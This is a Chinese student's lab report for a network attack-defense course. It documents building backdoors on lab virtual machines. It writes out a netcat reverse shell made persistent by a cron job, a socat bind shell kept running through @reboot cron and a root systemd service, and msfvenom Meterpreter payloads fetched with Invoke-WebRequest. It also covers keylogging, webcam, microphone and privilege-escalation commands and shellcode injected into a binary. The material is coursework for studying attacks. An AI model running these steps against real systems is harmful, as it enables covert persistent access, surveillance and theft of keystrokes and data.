20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1netcat和cron协同进行后门入侵的意义

netcat在目标主机上监听端口等待连接,并创建网络连接,提供远程shell访问,但是这种连接是单次的、临时的,具有诸多局限性,此时cron就有存在的意义了,在cron任务列表中可以设置持续性任务,每分钟甚至每秒都可以重复运行任务,使得后门具有了“持久性”。

1.2MSF meterpreter工具使用

使用MSF meterpreter生成了各类后门程序,体验了基本的shell获取,实现了音频、摄像头、键盘记录等敏感信息收集。
通过实践,理解了后门的工作原理。

2.实验过程

2.1

2.1.1环境准备

image
在eth0网络接口的信息中,有一行:inet 192.168.19.129/24,这里的192.168.19.129就是Kali系统的IPv4地址。
屏幕截图 2025-10-22 094538
后门攻击需要两台电脑在同一网段,因此选用和Kali在同一网段的IP地址:192.168.19.1作为实验ip。

2.1.2在windows上准备netcat

屏幕截图 2025-10-22 095827
提前在windows上下载好netcat,看到目录里有nc.exe

2.1.3创建后门脚本

nano /tmp/backdoor.sh
在编辑器输入:
bash
#!/bin/bash
/bin/nc 192.168.19.1 4444 -e /bin/bash
其中,#!/bin/bash是指定脚本解释器,告诉系统这个脚本使用/bin/bash来执行
/bin/nc 192.168.19.1 4444 -e /bin/bash是找到连接目标并执行程序。
给脚本执行权限:
chmod +x /tmp/backdoor.sh

2.1.4设置cron定时任务

crontab -e
利用这句命令,编辑当前用户的cron任务表,在文件末尾插入:
* * * * * /tmp/backdoor.sh
这句话的实际含义是,每分钟建立一个shell,其中,设置每分钟的意义是即使后门被杀死,也可以不久再建立一个shell。
crontab -l查看任务列表
image
可以看到,终端列出了当前用户的cron任务,再任务列表的末尾,是我们插入的* * * * * /tmp/backdoor.sh

2.1.5在windows上设置监听

屏幕截图 2025-10-22 103210
可以看到,Kali成功连接到Windows的4444端口,而连接来自端口56890。
我们在Windows的powershell中获得了Kali用户的shell权限,可以执行任意Linux命令。

2.2使用socat获取主机操作Shell,并通过任务计划启动。

2.2.1创建后门脚本

在openEuler上创建后门脚本:
sudo nano /usr/local/bin/backdoor.sh
脚本内容:
#!/bin/bash
while true; do
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sane
sleep 5
done
这个脚本可以持久地建立后门,while true; do开启了一个无限循环,确保后门持续运行
给脚本执行权限:
sudo chmod +x /usr/local/bin/backdoor.sh

2.2.2使用cron设置开机自启动

屏幕截图 2025-10-22 200247
编辑crontab:sudo crontab -e
添加以下行:
@reboot /usr/local/bin/backdoor.sh
其中,@reboot是cron的特殊时间关键字,表示"在系统启动时"执行
询问AI,有一个更高级的方法是创建systemd系统服务:
创建service文件:sudo nano /etc/systemd/system/backdoor.service
服务文件内容:
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor.sh
Restart=always
RestartSec=5
User=root

[Install]
WantedBy=multi-user.target
启用服务:
sudo systemctl daemon-reload
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service

2.2.3测试后门连接

在Kali虚拟机中连接openEuler的后门:
socat - TCP:192.168.19.131:4444进行socat连接
image
连接成功,可以使用Linux系统命令,并获取靶机信息。
image
且由于后门程序设置开机自启动,靶机重启后仍能进行监听。

2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。

2.3.1在Kali上生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=4444 -f exe -o backdoor_final.exe
生成一个针对64位的windows系统的后门文件
屏幕截图 2025-10-22 211148

2.3.2启动HTTP文件服务器

开启新终端,运行:
python3 -m http.server 8888
屏幕截图 2025-10-22 211156

2.3.3设置Metasploit监听器

再开启一个新终端:
msfconsole
在msfconsole中输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 4444
exploit
开启exp,设置载荷文件、连接ip和端口,进行监听
屏幕截图 2025-10-22 211435

2.3.4下载并运行后门

在windows powershell中:
Invoke-WebRequest -Uri "http://192.168.19.129:8888/backdoor_final.exe" -OutFile "test.exe"
.\test.exe
image

2.3.5检查连接

回到Kali的Metasploit窗口,你应该看到Meterpreter会话建立。然后执行:
sessions -i 1
shell
屏幕截图 2025-10-22 211529
可以看到,已成功建立会话,且获取windows系统shell的运行权限。

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。

2.4.1在kali终端生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=6666 -f exe -o exp4.exe
同2.3.1,生成一个针对64位的windows系统的后门文件
image

2.4.2启动HTTP服务器

python3 -m http.server 9999
image

2.4.3设置Metasploit监听

msfconsole
在msfconsole中依次输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 6666
exploit
同2.3.3

2.4.4在windows上下载并执行

cd $HOME
Invoke-WebRequest -Uri "http://192.168.19.129:9999/exp4.exe" -OutFile "run.exe"
.\run.exe
屏幕截图 2025-10-22 220212

2.4.5基础信息收集

当Metasploit显示会话建立后,在msfconsole中执行:
sysinfo
getuid
screenshot
屏幕截图 2025-10-22 220143

2.4.6键盘记录

keyscan_start
在windows上输入文字
屏幕截图 2025-10-22 220218
显示键盘监听内容:
keyscan_dump
keyscan_stop
屏幕截图 2025-10-22 220154

2.4.7权限提升

getsystem
getuid

摄像头操作

webcam_list
webcam_snap -i 1

音频录制

record_mic -d 10

键盘记录

keyscan_start
keyscan_dump
keyscan_stop

其他系统信息

run post/windows/gather/checkvm
run post/multi/gather/env
屏幕截图 2025-10-22 220710
kali桌面上已保存相关信息
image

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.5.1生成后门文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=4444 -x pwn1 -f elf > pwn20232403
基本同2.3.1和2.4.1,只是针对的系统变为x86架构的linux系统,-f elf是在指定生成的payload输出为ELF格式
屏幕截图 2025-10-22 231041
为pwn20232403赋权:
chmod u+x pwn20232403

2.5.2使用MSF监听

msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 6666
exploit
同2.3.1和2.4.1
屏幕截图 2025-10-22 231051

2.5.3运行后门程序

屏幕截图 2025-10-22 231112
可以看到已获取shell,可以运行linux命令。

3.问题及解决方案

  • 问题1:在windows系统下安装netcat失败

2.3.3设置Metasploit监听器

msfconsole

  • 问题1解决方案:先考虑是防火墙拦截,检查并关闭了防火墙和实时检查,还是无法下载。询问AI,AI回答可以以管理员身份运行powershell,使用命令行Invoke-WebRequest -Uri "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip" -OutFile "C:\nc.zip" 直接下载。尝试了一下,成功了,得以顺利完成任务一
  • 问题2:在windows系统下安装socat失败
  • 问题2解决方案:windows系统装不上socat,很多同学都有这个问题,我无法正面解决这个问题,但是选择迂回了一下,新开了一台虚拟机,用别的系统(openEuler)进行任务二,得以顺利完成。
  • 问题3:使用MSF meterpreter进行获取shell时,在windows系统表明“表明文件被其他进程锁定了”
  • 问题3解决方案:排查多个方面,例如防火墙、权限不够等,最后在关闭防病毒软件后成功了。
    image

4.学习感悟、思考等

通过本次实验,我对后门技术有了更深入的理解,我最大的感受就是认识到后门技术的多样性和隐蔽性,如果没有合理的保护,后门技术真的是无孔不入,其造成的后果也十分可怕,很多敏感信息被窃取,电脑的权限也被盗获,因此要加强安全意识,谨慎防范网络入侵。

posted @ 2025-10-22 22:54  20232403  阅读(3)  评论(0)    收藏  举报